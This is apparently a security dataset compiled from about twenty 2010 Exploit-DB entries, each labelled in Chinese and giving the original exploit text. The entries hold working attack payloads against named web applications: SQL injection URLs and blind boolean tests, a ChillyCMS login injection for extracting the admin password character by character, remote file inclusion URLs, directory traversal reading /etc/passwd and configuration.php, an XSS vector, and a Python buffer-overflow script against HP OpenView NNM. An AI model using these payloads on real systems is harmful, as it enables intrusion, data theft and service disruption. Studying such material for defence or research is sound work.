QLWD/code_shield huggingface dataset:
标题: Micronetsoft RV Dealer Website - SQL Injection EDB-ID: 14914 CVE: 2010-4919 类型: WEBAPPS 平台: ASP 发布日期: 2010-09-06 漏洞利用脚本: Author: L0rd CrusAd3r aka VSN [crusader_hmg@yahoo.com]
Exploit Title: Micronetsoft RV Dealer Website SQLi Vulnerability
Vendor url:http://www.micronetsoft.com
Version:1
Price:199$
Published: 2010-09-06
GThanx to:r0073r (inj3ct0r.com), Sid3^effects, MaYur, MA1201, Sonic Bluehat,
M4n0j,NoCare, The_Exploited, SeeMe, gunslinger, Th3 RDX.
Greetz to : Inj3ct0r Exploit DataBase (inj3ct0r.com) , 0xr00t.com , members
and my friends :) etc....
Special Greetz: Topsecure.net, inj3ct0r Team ,Andhrahackers.com
Shoutzz:- To all ICW & Inj3ct0r members.
~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~
Description:

Features:

    * Provides the ability to add listings to the web site.
    * Ability to add multiple users
    * Post-unlimited listings
    * For Sale listings with link to details page
    * For Rent listings with link to details page
    * Upload Images for listing
    * Upload a Brochure about the listing
    * Listings display the company logo
    * Search the database Vehicle Type, Make, Model, Year, Price Range, and
Location.
    * Featured Listings
    * Prospective Buyer signup - will receive email on NEW Listings!
    * Submit work order (maintenance issue) with picture, for listings
    * Full database driven web application - Access database

~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~

Vulnerability:

*SQL Vulnerability

DEMO URL:

http://www.site.com/detail.asp?ad_ID=1&vehicletypeID=[sqli]


# 0day n0 m0re #
# L0rd CrusAd3r # URL: https://www.exploit-db.com/exploits/14914
标题: DMXready Polling Booth Manager - SQL Injection EDB-ID: 14908 CVE: 2010-4921 类型: WEBAPPS 平台: ASP 发布日期: 2010-09-05 漏洞利用脚本: Author: L0rd CrusAd3r aka VSN [crusader_hmg@yahoo.com]
Exploit Title: DMXready Polling Booth Manager SQLi Vulnerability
Vendor url:http://www.dmxready.com
Version:1
Price:79$
Published: 2010-09-6
GThanx to:r0073r (inj3ct0r.com), Sid3^effects, MaYur, MA1201, Sonic Bluehat,
Sai, KD, M4n0j, The_Exploited, SeeMe, gunslinger_, Th3 RDX.
Greetz to : Inj3ct0r Exploit DataBase (inj3ct0r.com) , 0xr00t.com , members
and my friends :) etc....
Special Greetz: Topsecure.net, inj3ct0r Team ,Andhrahackers.com
Shoutzz:- To all ICW & Inj3ct0r members.
~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~
Description:

DMXReady Polling Booth Manager is a quick and fun way to make your website
more interactive:

    * Change your poll daily, weekly, monthly -- whenever you like!
    * Find out what people think of you and your services, or post it just
for fun
    * Auto-archive old polls and results
    * Add multiple answer selections
    * Allow visitors to view results directly from the poll page
    * Doesn't allow visitors from voting more than once
    * Add images, question, and optional description of the poll
    * Add, edit, delete, or deactiviate any poll through one Admin page
    * Fully customizable - change the layout to match your website design

DMXReady Polling Booth Manager keeps all your web content fresh, and is a
great way to find out what your visitors think!


~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~

Vulnerability:

*SQL Vulnerability

DEMO URL:

http://server/inc_pollingboothmanager.asp?view=results&QuestionID=[sqli]


# 0day n0 m0re #
# L0rd CrusAd3r #

-- 
With R3gards,
L0rd CrusAd3r URL: https://www.exploit-db.com/exploits/14908
标题: weborf 0.12.2 - Directory Traversal EDB-ID: 14925 CVE: 2010-3306 类型: REMOTE 平台: LINUX 发布日期: 2010-09-07 漏洞利用脚本: Title: Weborf httpd <= 0.12.2 Directory Traversal Vulnerability
Date: Sep 6, 2010
Author: Rew
Link: http://galileo.dmi.unict.it/wiki/weborf/doku.php
Version: 0.12.2
Tested On: Debian 5
CVE: N/A

=============================================================

Weborf httpd <= 0.12.2 suffers a directory traversal
vulnerability.  This vulnerability could allow
attackers to read arbitrary files and hak th3 plan3t.

instance.c : line 240-244
------------------------------
void modURL(char* url) {
    //Prevents the use of .. to access the whole filesystem  <-- ORLY?
    strReplace(url,"../",'\0');

    replaceEscape(url);
------------------------------

Exploit: GET /..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd

==============================================================

Stay safe,
Over and Out URL: https://www.exploit-db.com/exploits/14925
标题: Joomla! Component Aardvertiser 2.1 - Blind SQL Injection EDB-ID: 14922 CVE: 2010-4904 类型: WEBAPPS 平台: PHP 发布日期: 2010-09-06 漏洞利用脚本: # Exploit Title: Joomla Component Aardvertiser 2.1 free Blind SQL Injection Vulnerability
# Date: 07.09.2010
# Author: Stephan Sattler // www.solidmedia.de
# Software Link: http://sourceforge.net/projects/aardvertiser/files/com_aardvertiser%20V2.1.1%20Free/com_aardvertiserfree.zip/download
# Version: 2.1 free


[ Vulnerability//PoC ]

http://server/joomlapath/index.php?option=com_aardvertiser&cat_name=Vehicles'+AND+'1'='1&task=view URL: https://www.exploit-db.com/exploits/14922
标题: HP OpenView Network Node Manager (OV NNM) - 'webappmon.exe execvp_nc' Remote Code Execution EDB-ID: 14916 CVE: 2010-2703 类型: DOS 平台: WINDOWS 发布日期: 2010-09-06 漏洞利用脚本: '''
  __  __  ____         _    _ ____  
 |  \/  |/ __ \   /\  | |  | |  _ \ 
 | \  / | |  | | /  \ | |  | | |_) |
 | |\/| | |  | |/ /\ \| |  | |  _ < 
 | |  | | |__| / ____ \ |__| | |_) |
 |_|  |_|\____/_/    \_\____/|____/ 

'''

'''
  Title              :  HP OpenView NNM webappmon.exe execvp_nc Remote Code Execution 
  Version            :  OpenView Network Node Manager 7.53
  Analysis           :  http://www.abysssec.com
  Vendor             :  http://www.hp.com
  Impact             :  Critical
  Contact            :  shahin [at] abysssec.com , info  [at] abysssec.com
  Twitter            :  @abysssec
  CVE                :  CVE-2010-2703

 http://www.exploit-db.com/moaub-6-hp-openview-nnm-webappmon-exe-execvp_nc-remote-code-execution/
'''

import socket,sys

ip = "localhost"
port = 80

target = (ip, port)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(target)
exp = "A"*250000
headers = "POST /OvCgi/webappmon.exe HTTP/1.0\r\n"
headers += "From: shahin@abysssec.com\r\n"
headers += "User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1;Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)\r\n"
headers += "Content-Type: application/x-www-form-urlencoded\r\n"
arg = 'ins=%s&sel=%s&app=%s&act=%s&arg=%s&help=%s&cache=1600 HTTP/1.1\r\n' % ("nowait", "localhost",exp,"ping",exp,exp) 
headers += 'Content-Length: %d\r\n' %(len(arg))
headers += "\r\n"
headers += arg
s.sendall(str(headers))
while 1:
    buf = s.recv(1000)
    if not buf:
        break
    sys.stdout.write(buf)

s.close() URL: https://www.exploit-db.com/exploits/14916
标题: Micronetsoft Rental Property Management Website - SQL Injection EDB-ID: 14919 CVE: 2010-4920 类型: WEBAPPS 平台: ASP 发布日期: 2010-09-06 漏洞利用脚本: Author: L0rd CrusAd3r aka VSN [crusader_hmg@yahoo.com]
Exploit Title:Micronetsoft Rental Property Management Website SQLi
Vulnerability
Vendor url:http://www.micronetsoft.com
Version:1
Price:179$
Published: 2010-09-06
GThanx to:r0073r (inj3ct0r.com), Sid3^effects, MaYur, MA1201, Sonic Bluehat,
M4n0j,NoCare, The_Exploited, SeeMe, gunslinger, Th3 RDX.
Greetz to : Inj3ct0r Exploit DataBase (inj3ct0r.com) , 0xr00t.com , members
and my friends :) etc....
Special Greetz: Topsecure.net, inj3ct0r Team ,Andhrahackers.com
Shoutzz:- To all ICW & Inj3ct0r members.
~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~
Description:

The Real Estate & Rental Property Website includes a web application that
provide realtors with the ability to add both For Sale & For Rent
properties to the web site using powerful forms that are easy to use and
provides visitors with the ability to browse or search those properties. The
web application's administration tool allows for easy updates of properties
with image upload, category management, listing management, mailing list
management, and much more.
Note: With this website you can display both For Sale and For Rent
properties, or if you do not offer rental properties at this time, you can
disable the rental properties from displaying on the website. The website
demo 09900 displays both For Sale and For Rent properties and the website
demo 09911 displays only For Sale properties.

~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~~*~*~*~*~*~*~

Vulnerability:

*SQL Vulnerability

DEMO URL:

http://server/detail.asp?ad_ID=[sqli]


# 0day n0 m0re #
# L0rd CrusAd3r #


-- 
With R3gards,
L0rd CrusAd3r URL: https://www.exploit-db.com/exploits/14919
标题: Joomla! Component Clantools 1.5 - Blind SQL Injection EDB-ID: 14901 CVE: 2010-4902 类型: WEBAPPS 平台: PHP 发布日期: 2010-09-05 漏洞利用脚本: # Exploit Title: Joomla Component Clantools version 1.5 Blind SQL Injection Vulnerability
# Date: 05.09.2010
# Author: Stephan Sattler // Solidmedia
# Software Link: http://joomla-clantools.de/downloads/doc_download/26-clantools-v15-fuer-joomla-15x.html
# Version: 1.5


[ Vulnerability 1 ]

http://www.site.com/joomlapath/index.php?option=com_clantools&squad=1+[Blind SQL]


#Vulnerability was already reported, have a look at http://www.joomla-clantools.de to get a patch URL: https://www.exploit-db.com/exploits/14901
标题: Joomla! Component Clantools 1.2.3 - Multiple Blind SQL Injections EDB-ID: 14902 CVE: 2010-4902 类型: WEBAPPS 平台: PHP 发布日期: 2010-09-05 漏洞利用脚本: # Exploit Title: Joomla Component Clantools version 1.2.3 Multiple Blind SQL Injection Vulnerability
# Date: 05.09.2010
# Author: Stephan Sattler // Solidmedia
# Software Link: http://www.joomla-clantools.de/downloads/doc_download/7-clantools-123.html
# Version: 1.2.3


[ Vulnerability 1 ]

http://www.site.com/joomlapath/index.php?option=com_clantools&squad=1+[Blind SQL]

[ Vulnerability 2 ]

http://www.site.com/joomlapath/index.php?option=com_clantools&task=clanwar&showgame=1+[Blind SQL]&Itemid=999

#Vulnerability was already reported, have a look at http://www.joomla-clantools.de to get a patch URL: https://www.exploit-db.com/exploits/14902
标题: Joomla! Component iJoomla! Magazine 3.0.1 - Remote File Inclusion EDB-ID: 14896 CVE: 2010-4918 类型: WEBAPPS 平台: PHP 发布日期: 2010-09-05 漏洞利用脚本: # Exploit Title: [iJoomla.Magazine.v.3.0.1 Remote File Inclusion ] 
# Date: [5-9-2010] 
# Author: LoSt.HaCkEr  ~  aDaM_TRoJaN
# Software Link: [http://www.ijoomla.com/ijoomla-magazine/ijoomla-magazine/index/] 
# Version: [v 3.0.1 ] 
# Tested on: [Windows XP] 
# CVE : Hacker town of Musayyib
# Contact: LoSt.HaCkEr[at]yahoo[dot]com ~0r~ aDaM_TRoJaN@yahoo.com
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Exploit: http://iJoomla.Magazine.v.3.0.1-_TKT_/com_magazine_3_0_1/magazine.functions.php?config=[SHeLL]
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~[~] 
Greetings:  No URL: https://www.exploit-db.com/exploits/14896
标题: PHP Classifieds 7.3 - Remote File Inclusion EDB-ID: 14893 CVE: 2010-4914 类型: WEBAPPS 平台: PHP 发布日期: 2010-09-04 漏洞利用脚本: ==================================
  PHP Classifieds v7.3 RFI Vulnerability
==================================
 
====================================================
[x] ExpL0it TitLe : PHP Classifieds v7.3 RFI Vulnerability
[x] DatE          : 09 September 2010
[x] AutH0r        : alsa7r
[x] Contact       : TBT9@hotmail.com
[x] TestEd 0n     : windows 7 
[x] d0rK          : :P
====================================================
 
==========================================================================================
[x]bug heRe:
 function SetLanguage($lang_type, $lang_path = "tools/phpmailer/language/") {
     //echo $lang_path.'phpmailer.lang-'.$lang_type.'.php';
        if(file_exists($lang_path.'phpmailer.lang-'.$lang_type.'.php'))
            include($lang_path.'phpmailer.lang-'.$lang_type.'.php');
        else if(file_exists($lang_path.'phpmailer.lang-en.php'))
            include($lang_path.'phpmailer.lang-en.php');
        else
    }
==========================================================================================
 
==================================================================
[x]expL0iT:
http://[site]/classifieds/tools/phpmailer/class.phpmailer.php?lang_path=[EV!L]
==================================================================
 
============================================================================================
[x]th4nKs t0:
Mr.wolf , morabko , unit x team , sudan hacker team
============================================================================================
 
=====================
TBT9[at]hotmail[dot]com
===================== URL: https://www.exploit-db.com/exploits/14893
标题: ChillyCMS 1.1.3 - Multiple Vulnerabilities EDB-ID: 14897 CVE: 2010-4895 2010-4894 类型: WEBAPPS 平台: PHP 发布日期: 2010-09-05 漏洞利用脚本: ##########################www.BugReport.ir########################################
#
#        AmnPardaz Security Research Team
#
# Title:  chillyCMS Multiple Vulnerabilities
# Vendor:  http://frozenpepper.de/
# Vulnerable Version: 1.1.3 (Latest version till now)
# Exploitation:  Remote with browser
# Fix:   N/A
###################################################################################

####################
- Description:
####################

chillyCMS is a Content Management System. Its main features are:  
easily edit your content in a WYSIWYG editor,
manage your users in different groups with different rights, upload  
single files or whole zip archives,
insert your pictures into the content by drag and drop, one click  
backup with integrated installer,
extend your cms with various modules, see which articles are most  
popular in the statistics.


####################
- Vulnerability:
####################

+--> SQL Injection
 The username, in the login form, is one-parenthesis single-quoted  
injectable. For details check
 the PoC section.

+--> Reflective XSS
 Whenever login failed, the username will be printed without  
sanitizing on the main page. This could
 be used for executing any JavaScript code.

####################
- Exploits/PoCs:
####################

+--> Exploiting The (MySQL) SQL Injection Vulnerability:
 Simply go to the login page at  
'victim.com/chillyCMS/core/show.site.php' and use
 the following vector for injecting arbitrary queries:
     ') or $THE_QUERY or 1=('
 For example you may use following vector for extracting the pw field  
(for password) of the admin user
     admin')and substr(pw,I,1)=('C
 replacing the I with the index of char in a loop and C with different  
characters of it. If the query result
 was true, username will be accepted and wrong password error will be  
shown. If the query result was false,
 then username will be rejected and the wrong username error will be  
shown. Allowing blind SQL injection
 to be performed.

+--> Exploiting The Reflective XSS Vulnerability:
 Use the following sample vector in the username field of the login  
page (or any other valid JavaScript
 code) => username:      <script>alert('XSS')</script>

####################
- Solution:
####################

White-list the input parameters before using them in the SQL queries,  
removing any ', \, ( characters
or more simply restrict the parameters' length to a small length.

####################
- Credit:
####################
AmnPardaz Security Research & Penetration Testing Group
Contact: admin[4t}bugreport{d0t]ir
www.BugReport.ir
www.AmnPardaz.com URL: https://www.exploit-db.com/exploits/14897
标题: PHP Classifieds ADS - 'sid' Blind SQL Injection EDB-ID: 14891 CVE: 2010-4911 类型: WEBAPPS 平台: PHP 发布日期: 2010-09-04 漏洞利用脚本: [~] Title:    PHP CLASSIFIEDS ADS
[~] Price:   $49
[~] Link :   http://www.sellatsite.com/sellatsite/phpclass.asp
[~] Author:    BorN To K!LL - h4ck3r
[~] 3xploit:

/detail.php?sid=[Blind-Injection]

[~] 3xample:

http://www.example.com/classi/detail.php?sid=80 and 1=1--             // True ,,

http://www.example.com/classi/detail.php?sid=80 and 1=2--            // False ,,

[~] Greetings:

string Greetings[x] = ("Dr.2" , "Q8 H4x0r" , "AsbMay's Group" , "darkc0de team" , "and all my friends"); URL: https://www.exploit-db.com/exploits/14891
标题: Joomla! Component PicSell 1.0 - Local File Disclosure EDB-ID: 14845 CVE: 2010-3203 类型: WEBAPPS 平台: PHP 发布日期: 2010-08-30 漏洞利用脚本: # Author: Craw
# Email: craw@element7.eu             
# Software Link: http://vm.xmlswf.com/index.php?option=com_content&view=article&id=104&Itemid=131
# Category: web applications

=======================================================
  
[+] ExploiT :
 
 http://server/index.php?option=com_picsell&controller=prevsell&task=dwnfree&dflink=[File Disclosure]
 
  
[+] Example :
 
 http://server/index.php?option=com_picsell&controller=prevsell&task=dwnfree&dflink=../../../configuration.php
 
  
=======================================================
Greetz @ LUXEMBOURG
======================================================= URL: https://www.exploit-db.com/exploits/14845
标题: dompdf 0.6.0 beta1 - Remote File Inclusion EDB-ID: 14851 CVE: 2010-4879 类型: WEBAPPS 平台: PHP 发布日期: 2010-09-01 漏洞利用脚本: ==================================
  apps dompdf RFI Vulnerability
==================================

====================================================
[x] ExpL0it TitLe : apps dompdf RFI Vulnerability
[x] DatE          : 01 September 2010
[x] AutH0r        : Andre_Corleone
[x] Software Link : www.digitaljunkies.ca/dompdf/
[x] h0mE          : http://tecon-crew.org
[x] TestEd 0n     : linux ubuntu 10.04
[x] d0rK          : :P
====================================================

==========================================================================================
[x]bug heRe:
if ( isset($_GET["input_file"]) )
$file = rawurldecode($_GET["input_file"]);
else
throw new DOMPDF_Exception("An input file is required (i.e. input_file _GET variable).");
==========================================================================================

==================================================================
[x]expL0iT:
http://www.site.com/dompdf/dompdf.php?input_file=[evilc0de.txt?]
==================================================================

============================================================================================
[x]th4nKs t0:
ALLAH SWT,Muhammad SAW,my Parents,my lovely HerliZ Dian Permathasari
guitariznoize | zee_eichel | jImMYrOmAnTiCdEvIl | 45tr0_k1ll1n9 | all Tecon Crew | and you
============================================================================================

=====================
[x]Jakarta,Indonesia
===================== URL: https://www.exploit-db.com/exploits/14851
标题: Seagull 0.6.7 - SQL Injection EDB-ID: 14838 CVE: 2010-3212 类型: WEBAPPS 平台: PHP 发布日期: 2010-08-29 漏洞利用脚本: 1                    ######################################            1
0                       Sweet the Algerian Haxxor                      0
1                    ######################################            0
0                                                                      1
1  [+]Exploit Title:    seagull-0.6.7 SQLinjection Vulnerabilitie      0
0  [+]Date: 29/08/2010                                                 1
1  [+]Author: Sweet                                                    0
0  [+]Contact : charif38@hotmail.fr                                    0
1  [+]Software Link: http://seagullproject.org/                        0
0  [+]Download:                                                        1
1  [+]Version: 0.6.7 and lesser                                        0
0  [+]Tested on: WinXp sp3                                             1
1  [+]Risk : Hight                                                     0
0  [+]Description : just another CMS                                   0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1


SQL injection : 

in /seagnulPath/www/index.php/user/password with http request editor The POST variable frmQuestion has been set to 1' 

POC:

http://server/index.php/user/password/?action=retrieve&frmEmail=111-222-1933email@address.tst&frmQuestion=1'[SQLI]&frmAnswer=111-222-1933email@address.tst&submitted=retrieve  


screen shot:http://img163.imageshack.us/img163/3028/imagexp.jpg



thx to Milw0rm.com , JF - Hamst0r - Keystroke  , inj3ct0r.com , exploit-db.com


Saha Ftourkoum et 1,2,3 viva L'Algerie :)) URL: https://www.exploit-db.com/exploits/14838
标题: seagull 0.6.7 - Remote File Inclusion EDB-ID: 14841 CVE: 2010-3209 类型: WEBAPPS 平台: PHP 发布日期: 2010-08-30 漏洞利用脚本: =================================
seagull-0.6.7 <===remote file inclode 
=================================
# Exploit Title : seagull-0.6.7 <===remote file inclode

# Date: 2010-08-29

# Author : FoX HaCkEr

#Contact : MKQ@HoTmAiL.CoM

# SiTe : www.sec4ever.com

# Download: http://seagullproject.org/ 

# Version:6.7
  
# Google dork: [sorry]

======================================================================================================
exploit :

http://localhost/fog/lib/pear/Config/Container.php?includeFile=[EV!L]
http://localhost/fog/lib/pear/DB/NestedSet.php?driverpath=[EV!L]
http://localhost/fog/lib/pear/HTML/QuickForm.php?includeFile=[EV!L]
http://localhost/fog/lib/pear/DB/NestedSet/Output.php?path=[EV!L]
http://localhost/fog/lib/pear/HTML/QuickForm.php?includeFile=[EV!L]

=======================================================================================================

Gr33ts: Mr.MoDaMeR & SILVER FoX & Z7FAN HaCkEr & Black Cobra & KinG oF CnTroL & MadjiX & Ma3sTr0-Dz
Lagripe-Dz & Shi6oN HaCkEr & ALL Members sec4ever & ALL MY Friend in  MsN & ALL Members Sa-HaCkE URL: https://www.exploit-db.com/exploits/14841
标题: Joomla! Component JE FAQ Pro 1.5.0 - Multiple Blind SQL Injections EDB-ID: 14846 CVE: 2010-3211 类型: WEBAPPS 平台: PHP 发布日期: 2010-08-31 漏洞利用脚本: ---------------------------------------------------------------------------------
Joomla Component JE FAQ Pro : Multiple Remote Blind Sql Injection
---------------------------------------------------------------------------------

Author  : Chip D3 Bi0s
Group  : LatinHackTeam
Email & msn : chipdebios[at]gmail[dot]com
Date  : 2010-08-30
Critical Lvl : Moderate
Impact  : Exposure of sensitive information
Where  : From Remote
---------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~

Application : JE FAQ Pro
version  : 1.5.0 
Price  : 1 year: 13.08$, 2 Year: 18.31$, 3 Year: 23.54$, 4 Year: 26.16$
Developer : J Extension
License  : GPLv2 or later           type  : Commercial
Date Added : 28 August 2010
Download : http://www.jextn.com/joomla-faq-component-extensions-downloads/
Demo  : http://www.joomla-faq-demo.jextn.com/

Description     :

JE FAQ Pro is an easy to use but powerful and excellent FAQ management.
Our core competency from our front end and backend features will make you
to sit suitable because we take care of your needs in the FAQ Joomla component
needs. This is where we extending the suitability in Joomla. 



Multiple Blind SQL Injection

http://site/path/index.php?option=com_jefaqpro&view=category&layout=categorylist&catid=2[bsql]

http://site/path/index.php?option=com_jefaqpro&view=category&layout=categorylist&task=lists&catid=2[bsql]



+++++++++++++++++++++++++++++++++++++++
[!] Produced in South America
+++++++++++++++++++++++++++++++++++++++ URL: https://www.exploit-db.com/exploits/14846